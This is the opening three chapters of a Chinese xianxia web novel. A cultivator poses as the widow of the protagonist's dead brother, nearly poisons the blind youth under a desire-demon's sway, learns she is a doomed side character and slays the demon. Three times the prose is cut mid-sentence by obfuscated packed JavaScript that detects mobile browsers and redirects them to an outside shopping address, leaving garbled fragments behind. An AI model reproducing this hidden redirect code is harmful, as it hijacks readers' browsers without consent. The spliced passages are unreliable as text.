《伪装成男主兄长的遗孀》 1. 生辰 中州地界罕见得下了场大雪,连绵山脉被尽数掩埋,茫茫的无边雪色,让人分不清天与地的距离。 大雪封山。 通往外界的山路被阻断,即便南山村大部分村民都提前存储了过冬的粮食,但仍旧因这恶劣的天气,不禁心生怨怼与怒骂。 村头突然响起一阵躁动的狂吠声。 临时搭建的躲雪棚子下,几位大娘一边缝衣纳鞋,一边闲话聊天。 听见狗吠声,皆齐齐探头去看。 只见雪地里,一只凶狠的大黄狗,借着身躯优势,两只前爪搭在另一只雪白小狗身上,强行压住,急切极了。 被压住的小狗唉唉直叫唤。 大娘们都是成过亲的人,见到这一幕也不脸红,只是啧啧称奇道:“奇了怪了。大冬天的,这大黄竟还发了情。” “唉,别说了。我家那口子成天想着做这事。” “真羡慕你,成亲七年了,还这么恩爱。不像我家的,夜里就跟个死猪一样,叫都叫不醒。” “嗐,我家那个更离谱,前两天跟中了魔似的,扒出落了灰的书,还说要去考科举呢。” 南山村多猎户出身,民风彪悍,大娘们你一言我一语,也没有藏着掖着,提及一些难言的事情,还时不时相互看两眼,嬉笑几声。 草棚外的雪渐渐停了。 远远的,前方出现一道纤细的身影。 女子一身简单素衣,及腰的乌发只用一根木簪挽起,深一脚浅一脚地踩进积雪里。 细雪落至半披的发丝,浸润得愈发黑亮,乌发雪肤,将那张未施粉黛的面孔衬得越发秾丽绝艳,就像是枝头迎风招摇的牡丹。 注意到女子踏进村口,大娘们纷纷噤了声。 等到秦月华走远,草棚下才重新恢复起细细碎碎的闲话声。 秦月华来的那日,只展露了一点小法术,便被南山村村民奉若仙人,不敢造次。 中州地界修仙盛行,南山村距离修仙宗门万法门并不远,此前也有万法门弟子前来测试孩童修仙资质。 见识过那些神奇的法术,对于这些修仙的仙长,村民们天然地会生出敬畏感。 秦月华是三天前来的。 她赁了间空置的院子,将身受重伤的小废物安顿好。 彼时苏以墨坠崖多日,眼睛受伤,暂时失明,浑身伤痕,双腿亦是尽断,俨然再可怜不过。 将他带走的途中,秦月华发现南山上药材繁多,故而暂时住进南山村。 院子稍显偏僻,位于南山村的最东边,周围只有几户人家。 整座院子周边被布下基础防御阵法,阻隔的壁障无声无息地展开,保护苏以墨的安全。 秦月华容色平静,兀自穿过长长的村落,以及一条窄窄的小道,白墙斑驳的院落映入眼帘。 她上前几步,余光瞥见院门边缩着一个小小身影。 小女孩穿着褪色的旧棉服,双手抱着膝盖,将脑袋埋进双腿里,整个人冷得瑟瑟发抖。 听见脚步声,小女孩抬起头,一张小脸被冻得红彤彤的,眼睛却是刹那间亮起:“仙人姐姐!” “我一直在这帮您守着,没有人进去。” 秦月华轻轻颔首。 她从袖中摸出几块糖块,递给小女孩。 五六岁大的小女孩立即接过糖块,连声道谢,便像只欢快的小鸟儿似的,兴高采烈地回了对门的家。 注视小女孩的身影消失,秦月华敛了眸,推开面前的院门。 院里积了一层雪,白茫茫的,就连唯一一株梅花树的鲜色也被掩埋。 秦月华如常地进入小厨房,将新采摘的药材分门别类地处理好。 她并非医师,只是什么都学一下,什么都会一点。 苏以墨的伤也并非疑难杂症,可以靠她的丹药跟采摘的药材治好。 至于天生阻塞的经脉,苏珩已然用性命替他取来了仙品药材冰心莲,只需以莲瓣内服,一连服用三日,便能令经脉畅通,彻底解决无法修炼的问题。 今日是第三日。 今日以后,苏以墨便再不会为难以修炼一事所扰。 可相应付出的代价,是苏珩与陆丛雪的两条性命。 她一直不喜欢陆丛雪。 但陆丛雪是照雪宗的少宗主,不论怎么看,其性命都比小废物的经脉问题要重要得多。 更遑论苏珩还是她喜欢的人。 秦月华清楚自己恨毒了那个小废物,然而苏珩临终前的嘱托,只能让她强压恨意,替他照顾这个废物弟弟。 原本秦月华打算将冰心莲交到苏以墨的父亲手里,奈何苏珩身死十多日后,其父亲的魂灯也跟着陨灭。 苏珩的母亲在数年前陨落。 如今整个苏家,就只剩下苏以墨。 循着苏珩的嘱托,秦月华找到万法门的时候,沦为孤儿的苏以墨,已经被有心人推下山崖,生死不知。 好在有女修偷偷救下苏以墨,将其藏进山洞,最后等到了前来寻他的秦月华。 对于苏以墨来说,爹娘与兄长的相继离世,让从小长大的万法门,俨然变成了能吃人的龙潭虎穴。 秦月华不得不带走他。 即便知道如今的结果怪不得他,但秦月华仍旧恨死了这个小废物。 她低着眸,将药材整理好,又简单做了一份清炒时蔬,将提前煲好的排骨莲藕汤盛了一盅,并一碗米饭,送去主卧。 沿着铺满雪色的台阶,秦月华端着食案,敲了主卧的门。 屋里传来两声咳嗽。 她推门进去,浓郁的药味,混着一点热意,扑面而来。 角落里燃着炭盆,不时发出噼啪的响声。 两边纱制的床帐被挂起,能看见榻上的少年缓缓坐起身,被褥滑下,露出素衣中衣。 少年身形单薄,及腰的黑发顺着他起身的动作滑落至肩前。 随着少年循声抬首的举动,只见一条雪白绸布蒙住他的眼睛,一直系于耳后。 他轻声道:“麻烦陆姐姐了。” 抱着治好这个小废物,早早丢掉他的打算,秦月华为免麻烦,索性用了陆这个北地的大姓。 眼下秦月华也只是嗯了声,将最后三瓣冰心莲给他服下。 少年很乖地配合。 甫一入口,冰心莲瓣便好似化作冰凉的水液,顺着喉咙流淌下去,缓缓浸润至四肢百骸。 腹中渐渐生起些温热感,往日里偏寒凉的身体,仿佛也被这股温热包裹。 是一种很舒服的感觉。 等那股温热逐渐消失,苏以墨抬起头的时候,手腕便被微热的指腹搭上。 “经脉阻塞的问题已解,眼睛还需敷药几日,断裂的骨头也还需一些时日。” 苏以墨嗯了一声:“多谢陆姐姐。” 他眼睛蒙着绸布,一脸极乖巧的模样,半点没有因亲人之死而难过的神色。 看着看着,秦月华突生一股郁气。 那种难言的怨恨从心头涌起,就像是深埋的种子破土,飞速化成张牙舞爪的藤蔓,四处缭绕攀爬,随时都能破开她的这副躯壳。 她恨他。 若非苏以墨,苏珩就不会死。 凭什么苏珩为他而死,他一点都不难过。 父兄之死,好似激不起他一点情绪。 这个怪物! 自私自利的怪物! 有那么一刹那,秦月华恨不得一剑砍了他。 久久没有回音,苏以墨稍稍偏过脸,带着点疑惑道:“陆姐姐?” 满腔的怒火与怨恨在心头升腾,秦月华勉强压着呼吸,却克制不住颤抖的右手。 她蓦地攥起手指,回转过身,冷冷道:“先吃饭吧。” 将食案端到床边放置的小桌上,碗筷皆递给他。 因为看不见,苏以墨吃得很慢。 房间里突然安静下来,只有碗筷碰撞时的清脆声。 秦月华不想看见他, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117043|195933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 推门出去,迎上了不知何时而起的风雪。 雪花簌簌地落在身上,秦月华突然想起,同苏珩相遇的那天,也下了场好大的雪。 北地终年落雪,那里的雪,足以将一个无依无靠,难以谋生的普通人活活冻死。 彼时,她被妖兽重创,若非苏珩经过,或许性命就会交代在那里。 那时的雪,也如今日这般,冷冷地扑在脸上,她躺在地里,好似下一刻就要被雪淹没。 青年替她结果了同样重伤的妖兽,回身过来,在她暗自戒备之时,却朝她伸出手,粲然一笑:“还能起来吗?” 那日北地大雪,分明没出太阳,青年爽朗明媚的笑容,却比北地罕见的阳光还要暖。 时隔多年,她依旧能清晰地记起那一幕。 青年眉眼弯弯的笑容,头发上全部落满雪的样子。 不像北地里其他寻求成仙机遇,肆意滥杀的修士,苏珩救了她,还救了其他许许多多的人。 他是个真真正正的好人。 今日是苏珩的生辰。 是他死后的第一个生辰。 而以他性命换取修炼的亲弟弟,却像是毫无所觉般,只顾自己,没有一点难过。 秦月华替他不值,也愈发憎恨起苏以墨。 她再难忍受那个没心没肝的小废物,迎着风雪,一步步走出去。 然而打开院门的刹那,一个蜷缩的小身影,随着门扉的打开,毫无防备地倒了下来。 秦月华俯身接住她。 小女孩还裹着那件褪色,不合身的旧棉服,她埋着头,正在无声地哭。 此刻身体仰倒,她泪眼朦胧地抬起头,视线模模糊糊,连带着喉咙都开始哽咽。 “仙,仙人姐姐,对不起。” 小女孩吓得仓皇跪地,就要给她磕头。 秦月华只是拿帕子给她揾了揾脸上的眼泪。 小女孩右脸颊还有一道通红的巴掌印,微微肿起,显然刚刚被打过。 待在南山村的这三日里,小女孩每天都会在她外出后,主动过来守门,想要以此来同她换取东西。 秦月华虽然不需要,但也会在回来时,给她一些食物。 有时是糖块,有时是点心,有时是蜜饯。 她知道对方叫三丫,是对门猎户夫妇的第三个女儿。 “发生什么事了吗?”秦月华轻声问。 三丫低着脑袋,泣涕涟涟地摇摇头。 秦月华没有再问,只是将身后的院门关上,同她一起,坐在院门口的台阶上,任由漫天的雪花落在身上。 三丫哭了一会儿,这才断断续续地开口:“仙,仙人姐姐,你,你说,如果,如果没有我,弟弟,弟弟是不是,就,就能,活了,了呢?” “我,我知道,阿爹,阿娘,想,想要,弟弟……” “都,都怪我,在阿娘,肚子里,抢,抢了,弟弟,吃的。” 小女孩脸色通红,哭到抽噎。 根据她的话,秦月华大致能推测出来—— 三丫同弟弟是双生胎,三丫出生,她的弟弟却夭折了。 “阿娘,阿娘,很想要,想要弟弟……” “如果,如果,我死了,弟弟,是不是,是不是,就能回来呢?” “我好想死啊……” “仙人姐姐……” 秦月华方才勉强压下的情绪再度翻腾,她甚至也开始忍不住想,是不是杀了苏以墨,苏珩就会回来。 但她清楚地知道,不是的。 就算苏以墨死了,苏珩也不会活过来。 秦月华凝着面前的风雪,声线如同空谷幽幽般缥缈:“不会的,人死不能复生。就算你死了,也换不来任何东西,只是白白丢了性命。” 三丫止不住啜泣:“阿娘,阿娘,还说,好想,弟弟,好想,再,再见到他……” 那一刻,一直强作镇定的秦月华,好似被风雪迷了眼—— 潸然泪下。 2. 欲妖 冬昼日短,酉时刚至,整座南山村便被雾蒙蒙的雪夜所笼罩。 对于居住在山中的村落而言,蜡烛灯油都颇为昂贵,故此若非特殊事情,几乎是刚入夜,南山村的村民便歇下了。 入夜后的南山村不复白日里的烟火气,极为静谧,只能听见呼啸的寒风,以及远处树林间依稀传来的鸟雀嘲哳声。 雪不知何时已经停了。 秦月华独自坐在院子一角,烧着从山下买回来的金元宝跟纸钱,橘红的火焰随着冷风抖动,燎着斑驳的墙壁,纸钱化作黑灰被风卷起。 随着被卷起的黑灰,风声里隐约还响起了呜咽。 仿佛是亡人的叹息。 火光映亮了秦月华那张过分秾丽的面孔,雪腻的脸庞早已被泪痕沾湿。 她神情平静,一字字念起佶屈聱牙的往生咒,晦涩的字符从唇中吐出,淹没在呜咽的瑟瑟寒风里。 许久,最后一字咒语落下,秦月华缓缓起身,素色裙角旋起时,身后抖动的火苗渐息,墙边堆积的黑灰被一点点吹散。 * 小厨房里灯火通明。 炉子上的铜罐咕嘟,里面是提前熬煮的药汁。 等身体稍稍回暖了些,秦月华拿起湿布包住,将铜罐里的汤药倾斜倒出。 苦涩的药味迅速弥漫开,秦月华习惯性地在碗边放了两颗酸甜梅子,正打算端起食案,眼前却好似突然恍惚了下。 豆大的烛火轻微颤动,昏黄的光晕里,青年身影缥缈,如烟似雾,像往日那般温柔看她,眼含笑意,轻声道:“月华。” “谢谢。” 秦月华扣着食案的手指蓦地一紧,回过神时,急切地想要伸手去够,可方才那一幕却好似从未出现过,触手皆是冰冷的虚无。 “苏珩……” “苏子谦!” 几乎是从喉咙里挤出的字句,带着点尖锐与急促。 可无论她再想见他,再怎么唤他的名字,方才的青年身影,都再没有出现过。 秦月华不知道那是真的,还是幻觉。 她分不清真假。 只想再看看他,再见他一面。 她低低垂首,鬓边的发滑落一缕,伸出的右手默然垂至身侧,双脚如同被钉住一般,静静伫立在原地,直到眼尾红痕褪去,方才将食案端起。 黑乎乎的汤药缓缓升起热气,模糊了她的面孔。如先前送饭那样,秦月华拾级而上,推门而入时,呼啸的寒风砸向门框,发出哐哐的响声。 屋里点着灯,少年早早披好外衫,倚坐在床头,像昨夜那样,等着她来。 少年依旧是那副极乖巧的面容,轻声唤她“陆姐姐”,语调亲昵,带着点不易察觉的依赖。 除此以外,没有半分伤感之色。 在苏珩生辰这一日,苏以墨这个占尽便宜的小白眼狼,竟还只惦记着自己身体的伤! 秦月华恨不得他立刻去死。 苏珩都死了。 他凭什么还活着? 凭什么一点痛苦都没有? 他这样自私自利的恶毒废物,就该去死! 恐怕连苏珩自己都不知道,舍命换来的仙品灵药,为的是这么一个无情无义的白眼狼罢。 极致的痛恨,想要他死的欲望彻底压住了理智,秦月华落在食案边的右手抬起,中指的空间戒微亮起一瞬,轻轻一挥,毒粉便无声无息地融进了药碗里。 她全程从容而镇定,轻飘飘投过去的目光,好似在看一个死人。 等毒死了这狼心狗肺的小废物,她就同样服毒,同他一起去见苏珩。 那碗下了毒的温热汤药,被秦月华如常地端过去。 瓷碗放进盲眼少年手中时,对方小心地捧好,苍白的唇畔牵起,弧度很浅地笑了下:“谢谢陆姐姐。” 秦月华没有出声,只是冷眼看着他去死。 那一瞬间,好似一下被拉的很长,又好似是极短的刹那。 秦月华清楚地看见了接下来的事—— 她会死在苏以墨的手里。 万剑穿心而死。 那千疮百孔的凄惨画面,让她后背瞬时起了一身的冷汗,几乎是下意识的动作,挥手急急打掉那只瓷碗。 随着汤药的泼洒,“啪嚓”一声,落地的瓷碗被摔得粉碎。 秦月华眼眸极快地扫过他手腕那只镂空精致的珐琅金镯,不等对方惊讶发问,便俯身揪住他的衣领,冷声道:“今日是冬月十八,你可还记得是何日子?” 声调虽冷,却带着一点不易察觉的颤音。 被揪住衣领的少年被迫仰着头,戴金镯的左手撑着床面,右手则伸向枕后胡乱摸了摸,在秦月华暗自警惕的视线里,最后摸出了一只人形木雕。 “原来今日就是兄长的生辰……” “不知道刻的好不好,同兄长像不像。陆姐姐,麻烦你帮我烧了罢。” 人形木雕用的千年紫檀木,约莫手掌长短,表面皆是新鲜的刻痕,小人儿同苏珩有七八分相似,雕工技艺精巧,一看便是用了心的。 “你……” 短暂的失语后,像是终于找回了自己的声音,秦月华嗓音艰涩:“你是这几日刻的吗?” “之前挑的木头,还没来得及刻。后来是在山洞里开始刻的,这两天才刻好。”少年被揪着衣领也毫不在意,只是问:“是不像兄长吗?” “像他。” “那就好。”少年小幅度地吁了口气,苍白失色的唇扬起一点浅浅的弧度。 揪着的衣领被松开,递去的人形木雕也被抽走。 少年一时还维持着仰头的姿势,忽地,一滴湿润无声无息地落在他的颊边。 那点湿润就像是春日傍晚天边刚落的雨,一滴一滴,渐渐形成细密不透风的雨帘。 仅仅冰凉的触感,却让人喘不过气。 苏以墨的脸颊、肩膀,乃至撑着床面的手背,都被这股湿润打湿。 他怔了一下。 他天生无泪,从来没有见过谁的泪水这样多。 一开始的眼泪是默然无声的,就像是遇到了世间最为悲凉之事,直至回到了难以面对的现实,女人终于痛哭出声。 秦月华为苏珩哭、为陆丛雪哭、为自己哭。 这些荒诞的死亡,原就是为了所谓天命的“男主”铺路。 方才短短的刹那,她知道自己身处一本名为《斩妖》的话本里,主角苏以墨天生经脉阻塞,无法修炼,前半生受尽白眼跟欺凌。 为了继续磨砺他的心智,宠爱他的父母与兄长接连死去。 苏珩与陆丛雪,作为配角的主角兄嫂,不过是充当替他恢复修炼的工具人。 而她,秦月华,一个恶毒女配,在下毒被识破后,也会死于他母亲留给他的法宝。 并且她多年出生入死积攒法宝、丹药、以及金钱的空间戒还会落在对方手里,成为苏以墨前期修炼和生活的本钱。 ……何其可笑? 明明气得浑身都在颤抖,秦月华仍旧泪如雨下,死死攥住那只木雕小人儿。 “我以为,我以为……” 像是再难支撑住,秦月华缓缓倾倒于榻边,双膝跪地,伏卧在遮盖苏以墨双腿的褥子上,痛哭到哽咽:“……抱歉。” 听着女人的道歉,回神的苏以墨微抿双唇,有些茫然,他伸手探入怀里,摸索两下,取出一条雪白的巾帕。 少年浑身好似被汤药浸入了味儿,就连那张巾帕都带着股苦涩的药香,他眼盲,只能循声递去:“陆姐姐……” “方才那碗药里,我下了毒。” 少年递去巾帕的手微顿,随即轻声道:“可陆姐姐并没有让我喝那碗药。” 他很浅地笑了一下:“不是吗?” “今日是兄长的忌日,陆姐姐是兄长的至交,心情不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117044|195933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好,在所难免。” “我并非他的至交……”秦月华抬起那张满是泪痕的脸,急急打断,可在触及到少年疑惑的神色时,声调就像被强行掐断了一样,什么都再说不出。 “陆姐姐……?” 似乎终于意识到自己的过分失态,秦月华慢慢直起身,抬袖揾了揾眼泪,“我同子谦,与你一样,亦算是亲人……” 她没有再多言,只是兀自抽出少年手中的巾帕,低头替他擦了擦手跟脸上的湿痕。 肩膀洇湿一块,在不时噼啪的炭火声里,苏以墨倒也不觉得冷。 “等会再替你熬碗药。”秦月华恢复了之前的从容,与他絮语,“眼睛受伤严重,要外敷内服,一日两次,不能中断。” 言语间,替他解下发后的系带时,苏以墨突然问:“陆姐姐的名是丛雪二字吗?” 秦月华执绸带的手微顿,随即轻扯下来,嗯了一声。 她眼睑低垂,从床边的小桌上取了一盒药膏,打开盒盖,涂抹在少年紧闭的眼帘处,俯身替他重新系上绸带。 “兄长曾来过信,说他与一女子在北地成了亲。嫂嫂姓陆名丛雪,陆姐姐,是你吗?”少年轻颤着睫毛问。 秦月华手指穿过绸带缝隙,轻巧地替他系好,仍是不轻不重地应了声。 得到肯定的答复,苏以墨明显雀跃了许多。 他双唇紧抿,唇角却止不住地上翘。 感知到秦月华收拾掉碎碗,即将离开时,苏以墨手指微攥了下被褥,又轻轻唤了声:“嫂嫂。” 带着点急切,又带着点难言的依赖,好似在呼唤世间唯一的亲人。 闻声,秦月华顿住脚步,转头看过去,在少年仓皇期待的神色里,低声应下。 她打开面前的门扉,寒风扑面的同时,身后的空气里隐约传来一阵极细微的波动。 倘若没有刻意将注意力凝聚于此,很容易便会忽视。 秦月华如常地关门,随即抽出腰间镶嵌宝石的匕首,循着混入风里的那缕波动,果断丢出。 锋刃寒光锐利,随着一道迅疾的破空之声,死死地钉在了斑驳的院墙上。 匕首完全刺入,嵌进墙面。 被刺中的东西渐渐现了形,是一团掺杂着黑灰色的透明体,只有一对没有瞳孔,狭长的漆黑眼睛,像老鼠一样,正不断“吱呀”地挣扎。 秦月华走过去。 右手张开,一柄通体冰蓝色的长剑被她握住,手腕偏转,狠狠刺进面前透明妖物的身体。 妖物的身躯如同僵住一般,再难挣扎,一寸寸被冰冻。 当剑尖抽出时,那团被冻住的妖物,就像是被抽离了中心,咔嚓两声,瞬时四分五裂。 欲妖。 以欲念为食。 它能无限放大心中的欲念,加以引导,操控人心。 被欲念所控,放纵而死的生灵,对欲妖来说,便是被吸食的大补之物。 其中以修士为最佳。 欲妖的幼年体很弱小,没有妖气,隐匿手段极高。等到成年体,欲妖手段极多,甚至可以将操控之人炼成傀儡。 这种万妖传里记载的极罕见妖类,威名赫赫,一向威胁甚广。 秦月华垂眼,面无表情地看向那只四分五裂的幼年体欲妖尸体,突然就想到那个被欲念无限放大后,诱导操纵的念头—— 将苏以墨毒死,再服毒,同他一起去见苏珩。 可事实是,就算她再怎么喜欢苏珩,都不会为了他去死。 她这么努力地活着,这样努力地修炼,可不是为了一个男人去死的。 她求仙术,求长生。 秦月华侧首看向那座亮着烛火的屋子,鬓发被吹乱,乌黑发丝在风里些微扬起时,唇角勾勒出轻浅一笑。 既然上天给她堪破死劫的机遇。 那么,主角,仙人…… 她也要争一争。 3. 眼睛 欲妖以吸食欲念为生。 过于膨胀,不加节制的欲念,是它最好的补品。 幼年体的欲妖,弱小、狡猾、谨慎。 若非秦月华的意外到来,整座南山村的生灵,都将沦为欲妖的食物。 而秦月华的出现,也让急需力量的欲妖露出了贪婪的獠牙,它谨慎、克制,在暗中一点点引诱,放大她的欲念。 一连三日,循序渐进。 欲妖没有妖气,擅长隐匿踪迹,极为谨慎。 它看着秦月华失控,持续而缓慢地放大她仇恨的欲念,感知到她摇摇欲坠的情绪,隐约知晓今夜便是收网的时候。 欲妖第一次跟随她进了屋子。 为了成功诱导秦月华去死,欲妖甚至提前收割了些南山村村民黑灰色的欲念之力。 因此,即便秦月华借原话本得知欲妖存在,进而斩杀它,这一夜的南山村,仍旧蒙上了一层血色阴翳。 许多村民因过于膨胀的欲念而死。 只是这漫天的茫茫大雪,将那些死于妖物手里的鲜血,无声无息地掩埋。 村中一些人家都挂上了白幡。 残废者自杀,纵欲者身死,负心者死于情杀,嗜酒者死于烈酒,甚至有一家三口自相残杀……就连村口那只发情的狗,也死于冰天雪地里。 没有人发现是妖物所为。 随风飘荡的长长白幡里,掩不住悲泣的声音。 对门的三丫娘则在深夜悬梁,寻了短见,好在被丈夫及时发现,这才救下来。 而昨夜哭晕过去的三丫,被秦月华暂时抱去厢房休息,逃过被阿娘一并带走的死劫。 三丫娘脖子勒出淤青,伤了喉咙,难以再说话,在三丫哭着扑到床前时,很是费力地抬手,摸了摸她的头,眼里流露出悔恨、伤心的泪水。 死去的欲妖,给南山村造成了极沉重的打击。 村民们守灵、抬棺,在漫天风雪里给亲人下葬。 秦月华坐在小厨房的围炉边烤火,听着外面传来的哭声,眉眼低垂,想到当年饥寒交迫,被迫同大娘离开北地时,那些冻僵、冻死的流民,就像是被伐的树木,一个接一个地倒下。 了然无声,被积雪掩埋。 宛若世间的一粒尘埃,生来以及死去,都杳无痕迹。 原本,她也是这样的尘埃。 秦月华翻动着炉边的烤饼,微黄的火光映出她面白如雪,愈发衬得那张脸艳若桃李。 旁边的橘子烤出焦香,玉白的指尖捻起橘子皮拨开,露出里面橙黄的果肉。 橘肉汁水温热,比生橘更甜。 秦月华一连吃了好几个,炉子上煮了苦茶,咕嘟咕嘟响。 她在小厨房里待了一下午,等到了傍晚,照常去给苏以墨送饭和汤药。 距离那夜,已经过去七日。 苏以墨眼睛恢复得差不多了,只是暂时还不能见光,仍旧蒙着雪白绸布,温声唤她嫂嫂。 唇畔浅笑,姿态亲昵。 好似那晚的下毒,没有造成任何龃龉。 作为原文里毋庸置疑的主角,苏以墨并没有表面上那样温柔无害。 当夜那场令她顿悟的机缘,虽然无法看到全文,且只有寥寥无几的信息,但秦月华仍捕捉到了几个关键的部分。 苏以墨擅毒。 或许是无法修炼的缘故,他自幼研究毒术,眦睚必报,那些欺侮过他的人,最后都会遭到报复。 原文里,推他坠崖的人,不出半年,便修为尽失,肠穿肚烂而死。 望着眼前乖乖喝药的少年,秦月华坐在方桌边,支颐着脸,视线落在他身上,思绪却开始飘忽。 似乎察觉到她眼神的游离,少年也偏过头,仿佛隔着那条蒙眼的绸带,在看她。 “嫂嫂?” “唔。”秦月华回神,下意识地走过去,接过他手里的空碗。 像往日那样,替他解绸带,敷药。 苏以墨模样很乖,闭着眼坐在那,昏黄的烛光晕染面颊,活脱脱的玉面小公子,颇有些岁月静好的味道。 他同苏珩生得不像,苏珩面庞更为俊朗,苏以墨的脸部线条却显得柔和,更具柔美感,下颌一点小痣,在雪色里极为清晰,就像是用最精细的工笔轻点。 闭着眼的模样,仿若灯下的温柔美人。 秦月华心无旁骛,倾身替他系好绸带,嗅到隐隐约约的苦涩药香,侧首看了眼榻边小桌上吃完的蜜饯,又放了一袋,给他甜甜嘴。 “等你眼睛好了,我便教你修行入门。” 即便知晓苏以墨坠崖,意外得到了神物之一与天书,秦月华依旧做足了表面功夫。 “谢谢嫂嫂。” 少年一口一个嫂嫂,神态温柔而亲昵,仿若将她当做最后的亲人依赖。 秦月华毫不客气地应下。 就像她不信男主如表面那样无害,苏以墨也不会轻易信她是陆丛雪,但很显然,他现在需要她。 当初在山洞里寻到苏以墨,即便他受了重伤,形容狼狈,却仍将自己打理得干净,尤其是那张脸,称得上玉面郎君。 秦月华还记得,将苏以墨带走时,救下他的女修还一脸依依不舍。 可想而知,他懂得利用周围的一切来求生。 譬如自己的皮相。 譬如别人的爱慕之心。 在眼盲、断腿的情况下,能有一个暂时没有起杀意的人照顾他,再好不过。 至于以后如何,再徐徐图之。 原文里,她先被欲妖放大仇恨的欲念,后被苏以墨利用宝物杀死,正当欲妖现身,打算饱餐一顿时,看似失去底牌,毫无威胁性的苏以墨,却使出驭妖之术,成功奴役欲妖。 在他视力恢复之前,欲妖便是他的奴仆。 秦月华虽不知道那驭妖之术是什么,但很显然是从那本与天书里学到的。 经过十多年无法修炼,亲人尽数早亡的磨砺,主角此后的修炼将一片坦途,仙术、法宝、机遇,手到擒来。 那寥寥的原文记载里,并没有关于神物出没的地点,秦月华只能跟着苏以墨,暗中争夺机遇。 * 南山的雪,又连着下了几日。 这一日,大雪骤停,雾散云开,院中积了厚厚一层雪,鼻间都是细雪的寒冷。 秦月华随手拿了把铲子,在院里铲雪。 五六岁的三丫,裹着那件褪色的旧棉服,也拿了把小铲子,主动过来替她铲雪。 约莫是她先前拿回家的蜜饯、糖块起了作用,两个姐姐也跟着她一起帮忙干活。 秦月华起初只是铲着玩儿,瞧着三个小孩撅着屁股,弯腰吭哧吭哧地铲雪,铲得脸都红了,忍不住弯唇笑起来。 刚满十岁的大丫,抬头擦汗的时候,看见她笑,整个人的眼神都呆了。 她小脸愈发红,低着头,极压低声,跟两个妹妹嘀嘀咕咕:“仙人都这么好看吗?” “不是嘞。”二丫闷头铲雪,“上回来的那群仙人,虽然也好看,但没这么好看。” 三丫点点头,肯定道:“仙人姐姐就是最好看的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117045|195933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三个小孩凑在一起嘀嘀咕咕,以为声音低,离得远,就不会被秦月华听到。 听着那些稚气的童言童语,秦月华不禁发笑。 她将铲子丢在旁边,拍拍手上的雪,招呼三个小孩去厨房吃东西。 灶膛里埋着红薯,铺在柴火的黑灰下,此时也熟了。 秦月华一人给了一个,还拿出一堆干果放在盘子里,给三个小孩吃。 小孩们围炉取暖,起初还有些拘谨,捧着红薯小口小口地吃着,等到秦月华出去,胆子大一点的大丫,才敢伸手去拿盘子里的干果。 秦月华在院中练剑。 长剑通体冰蓝色,于雪中好似最美的烟雾,在她手里如臂使指。 剑尖挑起雪花,宛若游龙。 院中细雪飞旋,逐渐将秦月华整个人都笼罩,隐隐传出龙吟之声,最后那些环绕的细雪,化作一条翻涌的雪龙,向前而去。 秦月华收去力量,雪龙溃散,落雪安安静静地散在两侧,空出一条干净的道路。 在听到龙吟时,三个小孩就跑去窗前看,看见整条龙以及溃散的全过程,三张脸都是目瞪口呆。 手里捧着的红薯都忘了吃。 秦月华又练了会儿剑,等回来时,三个小孩坐姿愈发恭敬,神色里难掩震惊与崇拜。 回家后还在嘀嘀咕咕地相互咬耳朵,约好明日继续给仙人姐姐帮忙。 * 翌日,天气晴好,暖阳给南山村镀上金边,积雪逐渐消融。 沉闷的南山村像是终于能喘上一口气,在历经沉重的伤痛后,重新活了过来。 苏以墨受伤的眼睛已经痊愈,只是腿伤太重,暂时还不能行走。 先前下山买祭奠的纸钱元宝时,秦月华请镇上手艺好的木匠打了一架轮椅,前几日去取了回来,此时正好派上用场。 长时间待在榻上的苏以墨,被扶着下来。 因着这段时间照顾他,做这些事时,秦月华十分熟练。 少年倚在她身上,拖动双腿,很是艰难地坐上那架结构精巧的轮椅。 秦月华推他出去。 纵使有日光的沐浴,雪融时的寒冷,还是让苏以墨裹紧了裘衣。 这些时日,苏以墨眼盲不便,秦月华便只给他讲入门的修炼心法,一些浅显的法术,以及后续修炼可能遇到的问题。 今日他在屋里解了绸带,只是仍半垂着眼,从昏暗的卧房到光线明亮的院内,一点点适应。 起初,苏以墨只能看见女人腰间系着的镂空浮雕龙纹玉佩。 那是母亲所赠,兄长从不离身的玉佩。 他的是金镯,兄长则是玉佩。 苏以墨定定垂眼瞧着那枚玉佩,半晌都没有移开视线。 从屋里被推到院内,等逐渐适应光线,感觉到身前落下一片阴影时,苏以墨才全然睁开眼睛。 第一眼,便是一张极秾丽的美艳面庞,让他想起了母亲亲手种植的那株极娇贵,却雍容的珍品牡丹。 牡丹迎风招摇,好似都在吐露香气。 不等他说话,女人就先落了眼泪。 她定定地看着他的眼睛,一语不发,眼泪跟珠串一样,簌簌滚落。 在看到苏以墨睁眼的刹那,秦月华便彻底怔住。 